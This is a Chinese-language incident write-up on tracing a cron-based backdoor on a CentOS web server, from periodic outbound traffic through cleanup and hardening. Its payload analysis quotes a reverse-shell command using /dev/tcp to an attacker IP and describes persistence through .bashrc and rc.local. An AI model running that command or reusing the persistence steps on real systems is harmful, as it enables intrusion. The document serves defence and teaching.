一、问题背景
一台跑内部业务接口的后端服务器(CentOS 7,双核 4G,对内有 Nginx + PHP-FPM,对外仅开放 80/443),平时 CPU 长期在 5% 以下、几乎无主动出网流量。某天早上安全运营中心(SOC)告警:该主机在凌晨到上午频繁向一个陌生境外 IP 的 443 端口发起连接,且主机监控出现每隔几分钟一次的 CPU 小尖峰。由于该服务器按规范不应主动访问任何外部地址,这条告警立即被升级为疑似失陷(compromise)事件,由我介入排查。
二、故障现象
现场最明显的异常有三点:
- 周期性出网:在主机上用
ss -antp多次采样,每隔约 3 分钟就会出现一条到45.x.x.x:443的ESTABLISHED连接,几十秒后断开;该 IP 不在任何白名单内,也不属于 CDN 或上游依赖。 - CPU 抖动:
top里能看到一个生命周期极短的进程(多半是curl/wget/bash)把单核短暂拉到 60%~90%,随即消失,像是被某调度器周期性唤起。平时毫无业务的高峰低谷符合这种"定时唤醒"特征。 - 进程捉迷藏:
top、htop里看不到常驻的可疑进程,也没有新增的系统服务;但出网连接确实在发生,说明恶意负载要么极短命,要么藏在依赖调度的机制里。
第一反应是查是否有常驻木马(类似前阵子清掉的 XMRig 挖矿),但 ps aux 全量拉取也只看到正常的 Nginx、PHP-FPM 与 crond,方向一度被带偏。
三、排查过程
第 1 步:锁定出网连接与源头进程。 用 ss -antp | grep -E '45\.' 抓到连接后,记下其 pid,但发现 pid 每次都不同且迅速退出。改用 pidstat -t 1 持续观察,确认有一个进程在固定节律(每 3 分钟)被拉起,父进程是 crond 派生的 sh -c。这就把怀疑对象从"常驻服务"直接指向了计划任务。
第 2 步:翻遍所有 cron 落点。 攻击者为提高隐蔽性常不只写用户 crontab,于是我把四处都查了一遍:
crontab -l -u www与crontab -l -u root(以及其它业务账号);/etc/crontab;/etc/cron.d/下所有片段;/var/spool/cron/原始文件。
在 /var/spool/cron/www 里发现一条可疑条目:
|
|
把这一段注释掉后再观察,周期性出网与 CPU 抖动同时消失,因果关系坐实。
第 3 步:还原 payload 行为。 在隔离环境里下载 load.sh 分析,它做了几件事:① 从 C2 拉取第二阶段脚本并 base64 内联,避免落地文件被扫;② 写入 ~/.bashrc 与 /etc/rc.local 做开机自启兜底;③ 尝试用 bash -i >& /dev/tcp/45.x.x.x/9999 0>&1 建立反弹 shell;④ 顺手检查是否有 redis-server/mysql 弱口令可横向。整个过程不写明显进程名、不占端口常驻,正是典型的"低噪声持久化"。
第 4 步:排查其它落脚点。 既然已经拿到 www 账号执行权,必须假设攻击者还留了后手:检查 /etc/passwd 是否有新增账号、authorized_keys 是否被追加公钥、是否有新的 systemd timer、以及 web 目录里是否混入了 webshell。本轮只发现 cron 这一条主线,但 bashrc/rc.local 的写入提示初始入侵点需要进一步回溯(见根因)。
四、解决方案
止血与清剿按"先断链、再清除、后加固"的顺序执行:
- 断链:在边界防火墙与主机
iptables双重封禁45.x.x.x的入向/出向,先掐掉 C2 通信,防止反弹 shell 与二次投递。 - 清除:
crontab -r -u www删除恶意任务,删除load.sh及/tmp下衍生文件,还原被改写的~/.bashrc与/etc/rc.local。 - kill 残余:
pkill -f load.sh、结束处于bash -i反弹态的进程,确认ss不再出现外联。 - 收口凭证:因
www账号曾被执行权限,轮换该账号及同机相关服务的密码/密钥;核查是否有凭据被打包外传(重点关注~/.ssh、/etc/shadow最近修改时间)。 - 复核持久化:确认无新增系统账号、
authorized_keys无陌生公钥、无异常 systemd timer 后才视为清剿完成。若评估初始入侵面(如存在 RCE 漏洞的Web应用)难以彻底确认干净,按失陷标准直接重装该主机更稳妥——本次因入侵链清晰、改动有限,采用清除+重建可疑组件方式。
五、根因分析
真正的问题不是 cron 本身,而是初始入侵点 + 持久化手法的组合:www 账号或其所托管的 Web 应用存在弱口令/旧漏洞,攻击者借此拿到命令执行权后,没有追求显眼的常驻木马,而是选择 crontab 这种"系统正常组件"做持久化——它不需要新开端口、不新增服务名、日志里只是普通的 cron 执行记录,检测难度远高于 XMRig 这类高 CPU 常驻进程。换言之,cron 后门是用"合法调度框架"打掩护,把检测成本转嫁给了运维。
六、预防措施
针对此类低噪声持久化,单靠"看 top"已经不够,需要从检测与基线两端下手:
- 监控 cron 变更:用
auditd对/etc/cron*、/var/spool/cron/加规则(-w /etc/cron.d -p wa -k cron_change),任何改动进审计日志并告警。 - 出网白名单:服务器默认拒绝所有主动出网,仅放行 Proxy/更新源等少数地址,cron 拉取外网脚本会立即被拦,从根上废掉投递链。
- 文件完整性监控(FIM):部署 AIDE/Tripwire 或 HIDS(Wazuh/osquery),对
crontab、bashrc、rc.local做哈希基线,偏差即告警。 - 异常血缘检测:用 osquery 之类持续比对"父进程=crond 却派生出 curl/wget/bash 外联"的异常血缘关系,这是识别 cron 后门最有效的规则之一。
- 最小权限与基线:业务账号禁
crontab、禁出网、禁写bashrc;定期跑 CIS Benchmark 与弱口令扫描,把初始入侵面压到最低。
七、总结
这次事件的本质,是攻击者用 crontab 这个"系统自带的合法调度器"做持久化,规避了常驻进程的显眼特征,单看 CPU 和进程表很容易误判为偶发抖动。排查的关键转折在于:周期出网 + 短命进程 + 父进程是 crond,三者指向计划任务而非服务;顺藤摸到 /var/spool/cron/ 的恶意条目后,问题迎刃而解。对运维来说,与其事后肉眼翻 cron,不如把 cron 变更、出网白名单、异常进程血缘做成常态化检测——让后门在"被调度起来"的那一刻就被抓住。